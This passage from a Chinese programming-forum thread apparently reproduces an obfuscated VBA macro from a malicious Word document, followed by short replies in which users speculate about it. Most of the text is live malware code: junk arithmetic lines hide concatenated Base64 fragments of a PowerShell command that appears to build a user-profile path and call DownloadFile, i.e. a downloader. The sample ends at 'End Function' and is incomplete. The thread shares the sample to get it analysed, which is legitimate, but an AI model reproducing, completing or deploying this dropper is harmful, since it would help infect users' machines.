Set uFYVqjS = zw8p6lz
ZbiIDBHM = CByte(zjfuAT - CSng(805115665) - cW2z3AD / Fix(pqlUbLU9 + CWNdmQVw + 427414481 + Int(26557124)))
Set G5OsUll = ADXZNa
VNS8znz = "JwApA" + "DsAJAB" + "aAE" + "YASQB" + "aADIAa" + "QA5AHo"
Set XzCXRN = VcOW5Jfw
cJmj9UYG = CByte(zwoaDh - CSng(404233137) - AFO2TtAq / Fix(pNm0rG4 + sr0KFZzo + 796960477 + Int(805576722)))
Set n0EQ4TS = wotjUFUw
Set ihTKstFC = nEFrTZ
u4GmqCcP = CByte(zCnzqXw - CSng(723275338) - nrmVTfaL / Fix(LAdm2nt + Osd4tDjX + 968834931 + Int(391009537)))
Set i0mDLQuT = NNiH9iA
Set Ir5vVI = GfhMav
YacKRE = CByte(miiZnbfQ - CSng(148065749) - zXw18m21 / Fix(r1YRTOv + oFA7Cw + 646485015 + Int(337875415)))
Set zRDiDqzq = caNHi4s
wdoCB5 = "APQAk" + "AGUA" + "bgB2A" + "DoAdQ" + "BzA"
Set UOwu2fc = mdZJQ4V
jwp6ir6 = CByte(Zswtvi - CSng(359779353) - ZhBRmV / Fix(L7ks256q + lcqGzQb + 964736463 + Int(87775766)))
Set k5z4v25a = QAri0A
Set oPbcv4f = zJ5NKo
i1lWvUjH = CByte(CjzfIIzE - CSng(888659071) - lSJ1MEu8 / Fix(crtL0MIB + RGAcKidA + 758964508 + Int(423321590)))
Set O52icjiQ = vGf2GU
D8ohlRqq = "GUAcgB" + "wAHIAb" + "wBm" + "AGk" + "AbABlA" + "CsAJ" + "wBcA" + "CcAK" + "wAkAH"
Set tYjo9wa = wwn00M
M1GHJlr = CByte(CB24Cci - CSng(215588691) - Avtp29i / Fix(wTkJv4 + MUsz3Md + 722676654 + Int(402860118)))
Set wTIwwn = ZLOJkWZd
Set L5AG25bd = rldziMT
Ss62jYd8 = CByte(rucmFf - CSng(654961408) - oWRibz7 / Fix(oL5MSZt + CbsX8v + 459899341 + Int(817932954)))
Set wXU4zvC = LdDn1z
Set hoW7zii = SVpz8q6r
c7ofopAu = CByte(qzXAEo - CSng(598463123) - Ww1lL8 / Fix(QRh2oRI4 + HrRwwbD3 + 513203003 + Int(967307691)))
Set QFujkGsV = H2qdjVK
hbD37M = "cAVgB" + "VAF" + "oAcw" + "AyAE" + "4AKw" + "AoAC" + "cALgB" + "lAHg" + "AJwA"
Set w1mPqb = YwU9Kf
Fu08tj9C = CByte(zIN3au - CSng(704124196) - pcTiYU1w / Fix(N1qhQGQ + UY3kMVc + 564446940 + Int(12520219)))
Set iQYhzYz = h3vNmzd
Set H3DiJk = zQ5rQuzv
fwbLzW = CByte(FHcEwKl1 - CSng(27415877) - QFnIHA / Fix(Az6FRHt + d8Fr4P + 484281025 + Int(949423831)))
Set XtFasruG = iUKJtkDK
E9jQD0SZ = "rACc" + "AZQAnA" + "CkAO" + "wBm" + "AG8Acg" + "BlA" + "GEAYwB" + "oAC" + "gAJ"
Set NZLwHYPi = RfY4kt
hhXQnB = CByte(QHXoGk - CSng(547776345) - M3IuQY / Fix(ck3WTahE + FcAwJwG + 88617545 + Int(129656712)))
Set wt8YqW = SXJ0RFaH
Set OV0b1Xu = C1iLXUD4
XmLiW1 = CByte(hoXjBM - CSng(881841211) - GY1rKz / Fix(CtPqwZJj + uF2mlwOG + 539227960 + Int(562382460)))
Set PSqQ6ifb = moUHzc1O
Set wEfEdv9 = Ez2jiQ
HJitL3 = CByte(VLKfztzL - CSng(105479529) - Az0JJ3h / Fix(vzBTwi + flwLcWE + 571766473 + Int(819478450)))
Set SBpZWtZ = AY2ow9
V0kMfzC = "ABKA" + "DcAN" + "wBuA" + "HYA" + "YgBCAC" + "AAaQB"
Set kw0i4C = vcD8lAR
wLzKT6h = CByte(c0Y2ENX - CSng(439635682) - bRXDJMi / Fix(fTnmUrDB + U3bwVfhP + 37350800 + Int(381158648)))
Set Iu2DOiH = mD1KO4WE
Set bSBrNrd2 = VvoILTi0
l9Uz2Z = CByte(YAkjYKz - CSng(367664897) - jmi3klmP / Fix(qziALi0 + Lzzb3Y5W + 848123062 + Int(383862988)))
Set qnoTww = lKmzzwo
uLRZcD4 = "uACAA" + "JABWAF" + "gANAB" + "QAE4AY" + "QApAHs" + "AdA"
Set sZijDcN = Y0ciZG
mTYBi3P = CByte(wRtiRbwA - CSng(881058672) - FfjPTJ / Fix(olYPAMT + iShTzKh7 + 137124927 + Int(543943420)))
Set hihMNjP = kYW57Q
Set wk58PhqL = VCZvVHF
uMciJK = CByte(FIRCvT5 - CSng(484743891) - nbhQp1 / Fix(iZub6BV + odFuwWLk + 45081660 + Int(196675260)))
Set liRpwUB = clunfdk
Set nNdUXzH = OQudwb
XO4UR33 = CByte(M3Pwui - CSng(48634693) - ZAEX3kM / Fix(jRuNqY + jqLcUk4 + 127379870 + Int(586011895)))
Set LhwrvO = iEVSH1lQ
jpjIAk = "ByAHk" + "AewAkA" + "EkAVA" + "BJADc" + "AQwBBA" + "FgALg"
Set s1u4cOk = uIM6wSki
V6kMvEK5 = CByte(L8noinI - CSng(231080858) - K6ZSOUwF / Fix(PQatafQn + PURGd7ii + 377986205 + Int(179105547)))
Set bBrdfS9 = EhUV8j
Set TTkmk3E = j6zXjjo
ABTCDVHo = CByte(qv4QTt - CSng(386239033) - WPciN1Ek / Fix(aGwHjH + RQPf6K + 971102525 + Int(861199634)))
Set idoL4s6i = FL9vjaL
Set nwtj5tjM = SYbMT54U
YCuVX3 = CByte(GzwmuXL - CSng(144556116) - t195LNO8 / Fix(iPWGC2 + BXMB5HF2 + 59098227 + Int(720591248)))
Set AKqAcz = shHZPn3
TiOIc3 = "BEAG8" + "AdwBuA" + "GwA" + "bwBhA" + "GQAR" + "gBpA" + "GwA" + "ZQA" + "oACQAS"
inYtGdT = wiW4tzu + LkA3oq0O + VNS8znz + wdoCB5 + D8ohlRqq + hbD37M + E9jQD0SZ + V0kMfzC + uLRZcD4 + jpjIAk + TiOIc3
End Function

[脆皮大雪糕]

代码应该不完整，入口是那个sub 开头就是 Set BTwiU1rj = MELKAYWJ 但是 MELKAYWJ没看到定义 当然也有可能是迷惑用的。估计还有一个或几个类模块吧 建议把word文件放网盘共享出来看看（文件名明确内有病毒，别被误开了）

[rolling_ball]

你确定是病毒？。。。。。。。

[weixin_44654066]

大佬们都是高手，，看完分析 我觉得我进步了很多

[冉遗御凶]

复杂，让人头皮发麻。

[milaoshu1020]

这个东西跟.net的混淆差不多.

[qq_44655532]

360隔离沙河运行，就不会中毒。

[DON ⁶⁶⁶]

这看起来不像是病毒啊，你确定没有搞错？

[a554351165]

不像病毒.............

[命和认命]

不觉明厉。。。。。。

[23℃天晴]

jhhhhhh
这么优秀的吗

[a281766396]

这么厉害了的吗

[weixin_39507599]

看着不像病毒。。。

[剑心✔流年]

好麻烦看起来……吓人

[猫冬的老狼]

引用 8 楼 脆皮大雪糕 的回复:

这看着够呛，把doc共享出来吧

对，你这个说的正确。

[hello 师姐]

混淆成这个样子神仙才能看懂吧